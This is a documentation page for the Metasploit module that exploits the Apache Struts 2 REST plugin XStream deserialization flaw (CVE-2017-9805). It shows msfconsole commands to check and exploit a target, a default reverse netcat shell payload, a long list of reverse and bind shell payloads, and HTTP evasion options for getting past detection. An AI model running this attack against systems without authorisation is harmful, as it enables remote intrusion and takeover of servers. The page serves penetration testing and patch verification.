Apache Struts 2 REST Plugin XStream RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/struts2_rest_xstream metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Table Of Contents
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Module Overview
Name: Apache Struts 2 REST Plugin XStream RCE
Module: exploit/multi/http/struts2_rest_xstream
Source code: modules/exploits/multi/http/struts2_rest_xstream.rb
Disclosure date: 2017-09-05
Last modification time: 2019-07-10 10:58:03 +0000
Supported architecture(s): cmd, python, x86, x64
Supported platform(s): Linux, Python, Unix, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-9805
Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12, using the REST plugin, are vulnerable to a Java deserialization attack in the XStream library.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/http/struts2_rest_xstream
msf exploit(struts2_rest_xstream) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
struts2_rest_xstream is a module that exploits Apache Struts 2's REST plugin, using the XStream handler to deserialise XML requests perform arbitrary code execution.
Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts 2.5.12
You can download these versions here with any version of Apache Tomcat:
http://archive.apache.org/dist/struts/
You will also need to install a Struts 2 showcase application, which can be found here:
https://mvnrepository.com/artifact/org.apache.struts/struts2-rest-showcase
Options
TARGETURI
The path to a struts application action
VHOST
The HTTP server virtual host. You will probably need to configure this as well, even though it is set as optional.
Scenarios
The Check Command
The struts2_rest_xstream module comes with a check command that can effectively check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
set VERBOSE true
set RHOST [IP]
set TARGETURI [path to the Struts app with an action]
When the module is in verbose mode, the check command will try to tell you the OS information, and whether or not the machine is vulnerable. Like this:
msf exploit(struts2_rest_xstream) > check
[+] 10.1.11.11:8080 The target appears to be vulnerable.
Exploiting the Host
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
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Msfconsole Usage
Here is how the multi/http/struts2_rest_xstream exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/struts2_rest_xstream
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/struts2_rest_xstream) > show info
Name: Apache Struts 2 REST Plugin XStream RCE
Module: exploit/multi/http/struts2_rest_xstream
Platform: Unix, Python, Linux, Windows
Arch: cmd, python, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-09-05
Provided by:
Man Yue Mo
wvu <[email protected]>
Available targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Windows (In-Memory)
2 Python (In-Memory)
3 PowerShell (In-Memory)
4 Linux (Dropper)
5 Windows (Dropper)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /struts2-rest-showcase/orders/3 yes Path to Struts action
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
Apache Struts versions 2.1.2 - 2.3.33 and Struts 2.5 - Struts
2.5.12, using the REST plugin, are vulnerable to a Java
deserialization attack in the XStream library.
References:
https://nvd.nist.gov/vuln/detail/CVE-2017-9805
https://struts.apache.org/docs/s2-052.html
https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement
https://github.com/mbechler/marshalsec
Module Options
This is a complete list of options available in the multi/http/struts2_rest_xstream exploit:
msf6 exploit(multi/http/struts2_rest_xstream) > show options
Module options (exploit/multi/http/struts2_rest_xstream):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8080 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI /struts2-rest-showcase/orders/3 yes Path to Struts action
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
Advanced Options
Here is a complete list of advanced options supported by the multi/http/struts2_rest_xstream exploit:
msf6 exploit(multi/http/struts2_rest_xstream) > show advanced
Module advanced options (exploit/multi/http/struts2_rest_xstream):
Name Current Setting Required Description
---- --------------- -------- -----------
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, bourne, debug_asm, debug_write, echo, printf, vbs, vbs_adodb, certutil, tftp, wget, curl, fetch, l
wprequest, psh_invokewebrequest)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2
)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/struts2_rest_xstream module can exploit:
msf6 exploit(multi/http/struts2_rest_xstream) > show targets
Exploit targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Windows (In-Memory)
2 Python (In-Memory)
3 PowerShell (In-Memory)
4 Linux (Dropper)
5 Windows (Dropper)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/struts2_rest_xstream exploit:
msf6 exploit(multi/http/struts2_rest_xstream) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/generic/custom normal No Custom Payload
47 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
48 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/struts2_rest_xstream exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/struts2_rest_xstream) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
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Related Pull Requests
- #12074 Merged Pull Request: Fix missing split in cmd_psh_payload fixes
- #12072 Merged Pull Request: Fix cmd_psh_payload requiring an arch string
- #11859 Merged Pull Request: Indent ternary statement in struts2_rest_xstream
- #11483 Merged Pull Request: Errata for a few of my modules
- #10973 Merged Pull Request: Rework DisclosureDate check in msftidy, including ISO 8601 support
- #10566 Merged Pull Request: Fix missing normalize_uri in struts2_rest_xstream
- #10543 Merged Pull Request: Add Windows ARCH_CMD target to struts2_rest_xstream
- #10538 Merged Pull Request: Uncomment PSH target in struts2_rest_xstream
- #8924 Merged Pull Request: Add Apache Struts 2 REST Plugin XStream RCE
References
- CVE-2017-9805
- https://struts.apache.org/docs/s2-052.html
- https://lgtm.com/blog/apache_struts_CVE-2017-9805_announcement
- https://github.com/mbechler/marshalsec
See Also
Check also the following modules related to this module:
- exploit/multi/http/struts2_code_exec_showcase
- exploit/multi/http/struts2_content_type_ognl
- exploit/multi/http/struts2_multi_eval_ognl
- exploit/multi/http/struts2_namespace_ognl
- exploit/linux/http/vmware_nsxmgr_xstream_rce_cve_2021_39144
- exploit/multi/http/jenkins_xstream_deserialize
- exploit/multi/http/struts_dmi_rest_exec
- exploit/multi/fileformat/ghostscript_failed_restore
- exploit/linux/http/f5_icontrol_rest_ssrf_rce
- exploit/linux/http/symantec_web_gateway_restore
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/unix/webapp/drupal_restws_exec
- exploit/unix/webapp/drupal_restws_unserialize
- exploit/unix/webapp/sugarcrm_rest_unserialize_exec
- exploit/unix/webapp/tuleap_rest_unserialize_exec
- exploit/unix/webapp/wp_easycart_unrestricted_file_upload
- exploit/unix/webapp/wp_photo_gallery_unrestricted_file_upload
- exploit/windows/misc/hp_imc_dbman_restartdb_unauth_rce
- exploit/windows/misc/hp_imc_dbman_restoredbase_unauth_rce
- auxiliary/admin/http/gitstack_rest
- auxiliary/scanner/nessus/nessus_rest_login
Related Nessus plugins:
- Apache Struts 2.1.x >= 2.1.2 / 2.2.x / 2.3.x < 2.3.34 / 2.5.x < 2.5.13 Multiple Vulnerabilities (S2-050 - S2-053)
- Apache Struts 2 REST Plugin XStream XML Request Deserialization RCE
- Oracle WebLogic Server Multiple Vulnerabilities
Authors
- Man Yue Mo
- wvu
Version
This page has been produced using Metasploit Framework version 6.2.29-dev. For more modules, visit the Metasploit Module Library.
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